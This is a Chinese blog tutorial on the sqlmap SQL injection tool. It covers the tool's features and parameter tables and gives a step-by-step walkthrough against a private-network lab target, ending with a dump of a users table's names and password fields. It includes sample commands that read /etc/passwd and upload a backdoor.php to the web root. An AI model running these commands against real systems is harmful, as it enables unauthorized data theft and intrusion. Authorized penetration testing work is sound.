SQL利器- sqlmap 渗透指南- 教程以及技巧分享

AI-摘要
28.7Blog GPT
AI初始化中...
介绍自己 🙈
生成本文简介 👋
推荐相关文章 📖
前往主页 🏠
前往爱发电购买
SQL利器- sqlmap 渗透指南- 教程以及技巧分享
28.7的博客SQLMAP 全面指南
一、SQLMAP 核心定位
SQLMAP 是一款基于 Python 开发的 开源自动化 SQL 注入渗透测试工具,堪称 Web 安全领域针对 SQL 注入的「标杆工具」,核心目标聚焦两点:
- 自动化检测 Web 应用中各类 SQL 注入漏洞(覆盖报错注入、布尔盲注、时间盲注、联合查询注入、堆叠查询注入等主流类型);
- 深度利用已发现漏洞,实现从「数据库访问」到「系统级控制」的全流程渗透,满足不同场景下的安全测试需求。
二、核心特性与功能模块
1. 强大的检测引擎
- 多位置自动识别:支持探测 GET/POST 参数、Cookie、HTTP 头部(如 Referer、User-Agent)、HTTP -body 等多个位置的注入漏洞;
- 复杂场景适配:兼容 URL 编码、Base64 编码等多种编码格式,支持自定义 HTTP 请求头、代理转发(HTTP/SOCKS)、延迟注入(应对高防护场景)等复杂环境;
- 智能注入选型:自动识别注入类型(报错/布尔/时间/堆叠等),根据目标系统响应动态选择最优利用方式,提升检测成功率。
2. 数据库层渗透能力
- 精准指纹识别:快速判断目标数据库类型(MySQL、PostgreSQL、SQL Server、Oracle 等)及具体版本,适配不同数据库的特性;
- 全维度数据获取:批量导出表结构、字段内容、存储过程、用户权限等信息,支持按条件筛选导出(减少资源占用,避免数据库宕机);
- 权限深度操控:检测当前数据库用户权限(是否为 DBA),尝试提权、创建管理员账号、开启远程访问等高危操作。
3. 系统级访问与命令执行
- DBMS 底层操作:读取数据库配置文件、修改运行参数、操作审计日志等;
- 操作系统穿透:
- 直接命令执行:当数据库用户权限足够时(如 MySQL 的
FILE权限、SQL Server 的xp_cmdshell组件启用),可执行whoami、dir等系统命令; - 带外数据传输:针对无回显盲注场景,通过 DNSlog、SMB 共享、HTTP 请求等 Out-of-Band 方式接收执行结果,解决盲注利用难题;
- 直接命令执行:当数据库用户权限足够时(如 MySQL 的
- 文件双向操作:上传本地文件(如后门程序)到目标系统,或下载敏感文件(如 Linux 的
/etc/passwd、Windows 的system32/config/SAM)。
三、支持范围与适用场景
1. 兼容主流数据库
- 完全支持:MySQL、PostgreSQL、SQL Server、Oracle、SQLite、Access、DB2 等;
- 针对性优化:适配不同数据库的特有功能(如 Oracle 的
UTL_HTTP包利用、SQL Server 的OLE Automation Procedures提权、MySQL 的into outfile写文件等)。
2. 典型合法使用场景
- 渗透测试工程师对 授权目标 进行安全评估,验证 SQL 注入漏洞的实际危害;
- 安全研究员复现漏洞,测试 WAF、IPS 等防护设备的检测与拦截能力;
- 企业内部安全审计,排查自有 Web 应用的 SQL 注入风险(需在合规框架内执行)。
四、重要合规性提示
SQLMAP 的强大功能伴随 极高法律与操作风险,使用时必须严格遵守以下原则:
- 仅可用于 自身拥有所有权或已获得书面明确授权 的目标系统,严禁用于未授权第三方系统(违反《网络安全法》《刑法》等法律法规,需承担刑事责任);
- 测试过程中必须保留完整操作日志,避免高频请求、全量数据导出等操作导致目标系统服务中断;
- 禁止利用工具窃取用户隐私、商业机密等敏感数据,否则将面临民事赔偿及刑事处罚。
五、SQLMAP 核心参数
1. 目标指定参数(基础)
| 参数 | 功能说明 |
|---|---|
-d |
直接连接数据库(需提供连接字符串,格式:DBMS://用户:密码@主机:端口/数据库) |
-u |
指定单个 URL 目标(如:http://xxx.com/?id=1) |
-l |
解析 Burp/WebScarab 代理日志中的目标 URL(注:原参数 -I 为笔误,正确为 -l) |
-m |
批量扫描文本文件中的多个目标(文件内每行一个 URL) |
-r |
加载本地 HTTP 请求文件(需在注入位置用 * 标记,如:id=1*) |
-g |
以 Google Dork 搜索结果作为目标 URL(需配置 Google 搜索 API) |
2. 漏洞利用与数据获取参数
| 参数 | 功能说明 |
|---|---|
-a |
全自动获取所有可用信息(数据库信息、用户、权限、数据等) |
--current-user |
获取数据库当前连接用户 |
--current-db |
获取数据库当前使用的数据库 |
--hostname |
获取数据库服务器主机名 |
--is-dba |
检测当前数据库用户是否为 DBA(管理员)权限 |
--users |
枚举数据库所有用户账户 |
--passwords |
导出数据库用户密码哈希值(支持自动破解常见哈希) |
--dbs |
枚举数据库服务器中所有数据库 |
--tables |
枚举指定数据库中的所有表(需配合 -D 参数) |
--columns |
枚举指定表中的所有字段(需配合 -D 数据库 -T 表名 参数) |
--dump |
导出指定字段的数据(需配合 -D 数据库 -T 表名 -C 字段名) |
--dump-all |
导出数据库服务器中所有数据库的全部数据(谨慎使用,占用资源大) |
-D db_name |
指定目标数据库(配合 --tables/--columns/--dump 使用) |
-T table_name |
指定目标表(配合 --columns/--dump 使用) |
-C column_name |
指定目标字段(多个字段用逗号分隔,如:-C "name,pass,uid") |
--batch |
全自动执行,不弹出交互询问(使用所有默认配置) |
3. 探测配置参数
| 参数 | 功能说明 |
|---|---|
--level=LEVEL |
测试等级(1-5,默认 1):等级越高,检测的参数位置越多(如 level=5 会检测 Cookie/HTTP 头部) |
--risk=RISK |
风险等级(1-3,默认 1):等级越高,使用的 payload 越危险(如 risk=3 可能触发数据篡改) |
--technique=TEC |
指定注入模式(快速扫描),支持组合:B(布尔盲注)、E(报错注入)、U(联合查询)、T(时间盲注)、S(堆叠查询) |
4. 文件操作参数
| 参数 | 功能说明 |
|---|---|
--file-read=PATH |
读取目标系统文件(需数据库用户有文件权限,如:--file-read="/etc/passwd") |
--file-write=PATH |
上传本地文件到目标系统(如:--file-write="/local/backdoor.php") |
--file-dest=PATH |
指定目标系统的文件写入路径(绝对路径,如:--file-dest="/var/www/backdoor.php") |
六、实际操作案例(完整流程)
以目标 URL http://192.168.87.243/?nid=1 为例,演示从漏洞检测到数据导出的全流程:
步骤 1:判断是否存在 SQL 注入漏洞
1 | sqlmap -u "http://192.168.87.243/?nid=1" |
- 作用:自动探测目标参数
nid是否存在注入漏洞,输出注入类型、数据库类型等基础信息。 - 效果示意图:
步骤 2:枚举所有数据库
1 | sqlmap -u "http://192.168.87.243/?nid=1" --dbs |
- 作用:获取目标数据库服务器中所有可用数据库名称。
- 效果示意图:
步骤 3:确认当前使用的数据库
1 | sqlmap -u "http://192.168.87.243/?nid=1" --level=5 --risk=3 --current-db |
- 参数说明:
--level=5(最高检测等级)、--risk=3(最高风险等级),精准获取当前数据库。 - 效果示意图:
步骤 4:枚举目标数据库中的表
1 | sqlmap -u "http://192.168.87.243/?nid=1" --level=5 --risk=3 -D "d7db" --tables |
- 参数说明:
-D "d7db"指定目标数据库为d7db,--tables枚举该数据库下所有表。 - 效果示意图:
步骤 5:枚举目标表中的字段
1 | sqlmap -u "http://192.168.87.243/?nid=1" --level=5 --risk=3 -D "d7db" -T "users" --columns |
- 参数说明:
-T "users"指定目标表为users,--columns枚举该表下所有字段。 - 效果示意图:
步骤 6:导出目标字段的数据
1 | sqlmap -u "http://192.168.87.243/?nid=1" --level=5 --risk=3 -D "d7db" -T "users" -C "name,pass,uid" --dump |
- 参数说明:
-C "name,pass,uid"指定需导出的字段,--dump导出字段对应的具体数据。 - 效果示意图:
步骤 7:查询数据库当前用户
1 | sqlmap -u "http://192.168.87.243/?nid=1" --current-user |
- 作用:获取当前连接数据库的用户账号。
- 效果示意图:
步骤 8:检测当前用户是否为 DBA
1 | sqlmap -u "http://192.168.87.243/?nid=1" --is-dba |
- 作用:判断当前数据库用户是否拥有管理员权限(DBA),为后续提权操作提供依据。
- 效果示意图:
评论
匿名评论隐私政策
✅ 你无需删除空行,直接评论以获取最佳展示效果














